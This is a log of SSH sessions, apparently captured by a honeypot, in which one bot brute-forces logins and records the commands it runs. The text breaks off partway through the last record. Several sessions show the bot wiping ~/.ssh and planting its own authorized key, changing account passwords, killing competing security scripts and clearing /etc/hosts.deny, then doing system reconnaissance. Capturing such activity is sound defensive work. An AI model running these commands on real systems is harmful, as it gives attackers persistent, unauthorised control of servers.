{"id":"61138c65-eb5c-48ac-9c96-60479f63cdfb","name":"pristine-hearty-ferret","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":37168,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:53:40.486162+00:00","ended_at":"2026-08-27T11:53:41.977836+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"fede980d-dd7e-465c-aa04-702f917a7a06","name":"sunlit-crystal-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":59174,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:51:47.943883+00:00","ended_at":"2026-08-27T11:51:49.768626+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2162,"events":[{"seq":1,"at":"2026-08-27T11:51:30.623847+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:51:30.917911+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:51:35.225650+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:51:35.764994+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:51:36.059941+00:00","kind":"input","latency_ms":null,"data":"echo -e \"toor\\npdip4ZDS8HVD\\npdip4ZDS8HVD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:51:36.355861+00:00","kind":"input","latency_ms":null,"data":"echo \"toor\\npdip4ZDS8HVD\\npdip4ZDS8HVD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:51:36.650204+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:51:37.308115+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:51:37.605036+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:51:38.394005+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:51:38.693749+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:51:39.984693+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:51:40.284711+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:51:40.675099+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:51:40.970916+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:51:41.225906+00:00","kind":"output","latency_ms":null,"data":" 11:51:41 up 7 days, 8:41, 0 user, load average: 0.18, 0.15, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:51:41.525125+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:51:41.846764+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:51:42.146850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:51:42.850471+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:51:43.146777+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:51:43.764907+00:00","kind":"output","latency_ms":null,"data":"top - 11:51:43 up 7 days, 8:41, 0 user, load average: 0.18, 0.15, 0.16\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:51:44.064062+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:51:44.523609+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:51:44.818784+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:51:45.473078+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:51:45.768726+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:51:46.425596+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-27T11:51:46.721952+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:51:47.649375+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:51:47.944682+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:51:49.678993+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftpuser","password":"toor","method":"password","accepted":true,"tier":"other"}]} {"id":"7edbeb5d-62bd-45e8-bac5-d4f4ad3fc70c","name":"bold-wiry-opossum","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":59192,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:51:33.388854+00:00","ended_at":"2026-08-27T11:51:35.139562+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"feca5de0-3572-49d0-9f07-7498ec986d82","name":"reedy-quaint-macaw","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":59180,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:51:31.578677+00:00","ended_at":"2026-08-27T11:51:32.815320+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"644e4b81-4b47-4b7d-8f6c-f861c58a1d6b","name":"calm-wooded-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":32910,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:49:46.426661+00:00","ended_at":"2026-08-27T11:49:47.938006+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T11:49:27.274924+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:49:27.575435+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:49:32.448592+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:49:32.962100+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:49:33.260777+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JoIsBWvGdg9J\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:49:33.560742+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:49:33.857893+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:49:34.194007+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:49:34.492965+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:49:35.419136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:49:35.719814+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:49:37.176131+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:49:37.476595+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:49:38.115204+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:49:38.415091+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:49:39.178993+00:00","kind":"output","latency_ms":null,"data":" 11:49:39 up 7 days, 8:39, 0 user, load average: 0.05, 0.04, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:49:39.478890+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:49:40.218679+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:49:40.518608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:49:40.931179+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:49:41.231735+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:49:41.770935+00:00","kind":"output","latency_ms":null,"data":"top - 11:49:41 up 7 days, 8:39, 0 user, load average: 0.05, 0.04, 0.05\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:49:42.070622+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:49:42.811923+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:49:43.109930+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:49:43.903147+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:49:44.201813+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:49:44.756113+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:49:45.054970+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:49:46.128256+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:49:46.427449+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:49:47.848760+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Oracle@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"1ef5b423-3b1a-4dd5-973b-494c225cb26a","name":"hardy-crimson-moorhen","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":32926,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:49:30.648420+00:00","ended_at":"2026-08-27T11:49:32.360918+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"117a3347-1d54-4b05-97f2-fe54c1292b08","name":"coral-deft-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":32912,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:49:28.237657+00:00","ended_at":"2026-08-27T11:49:30.070841+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8f2732d6-d038-4dc0-a35d-551ca9dc0e00","name":"western-patient-wolverine","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57440,"username":"daniel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":288,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:47:33.422639+00:00","ended_at":"2026-08-27T11:47:34.811523+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2155,"events":[{"seq":1,"at":"2026-08-27T11:47:17.241031+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:47:17.527753+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:47:20.388369+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:47:20.737046+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:47:21.028599+00:00","kind":"input","latency_ms":null,"data":"echo -e \"danieldaniel\\nLBeoiyYKJIRk\\nLBeoiyYKJIRk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:47:21.316082+00:00","kind":"input","latency_ms":null,"data":"echo \"danieldaniel\\nLBeoiyYKJIRk\\nLBeoiyYKJIRk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:47:21.602436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:47:22.366751+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:47:22.652649+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:47:23.653834+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:47:23.944133+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:47:24.798034+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:47:25.087556+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:47:25.573122+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:47:25.861272+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:47:26.666305+00:00","kind":"output","latency_ms":null,"data":" 11:47:26 up 7 days, 8:37, 0 user, load average: 0.06, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:47:26.955395+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:47:27.310493+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:47:27.600270+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:47:27.897835+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:47:28.187044+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:47:28.842664+00:00","kind":"output","latency_ms":null,"data":"top - 11:47:28 up 7 days, 8:37, 0 user, load average: 0.06, 0.06, 0.06\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:47:29.131407+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:47:30.013177+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:47:30.300534+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:47:30.880257+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:47:31.166700+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:47:31.704479+00:00","kind":"output","latency_ms":null,"data":"daniel"},{"seq":29,"at":"2026-08-27T11:47:31.993333+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:47:33.135003+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:47:33.423422+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:47:34.719258+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"daniel","password":"danieldaniel","method":"password","accepted":true,"tier":"other"}]} {"id":"9a1516df-f6fe-4cd4-9a65-ecac63290dca","name":"primal-sunlit-galago","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":57468,"username":"daniel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:47:19.456888+00:00","ended_at":"2026-08-27T11:47:20.304647+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"daniel","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"028fe905-74d9-46c7-8a91-afb28542dcc9","name":"sooty-mossy-finch","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":57454,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:47:18.190325+00:00","ended_at":"2026-08-27T11:47:18.822010+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b4cea9e1-3b11-4ff1-adaf-d947918878b5","name":"frank-foggy-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55802,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:45:25.825292+00:00","ended_at":"2026-08-27T11:45:27.889315+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T11:45:08.212519+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:45:08.503006+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:45:12.159583+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:45:12.436579+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:45:12.731644+00:00","kind":"input","latency_ms":null,"data":"echo \"root:O1C3PcQApETn\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:45:13.027614+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:45:13.320363+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:45:14.121565+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:45:14.415068+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:45:15.479225+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:45:15.770857+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:45:16.784132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:45:17.079160+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:45:17.955252+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:45:18.249461+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:45:18.518862+00:00","kind":"output","latency_ms":null,"data":" 11:45:18 up 7 days, 8:35, 0 user, load average: 0.11, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:45:18.812992+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:45:19.177930+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:45:19.473766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:45:20.300414+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:45:20.593890+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:45:21.366877+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:21 up 7 days, 8:35, 0 user, load average: 0.11, 0.08, 0.08\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 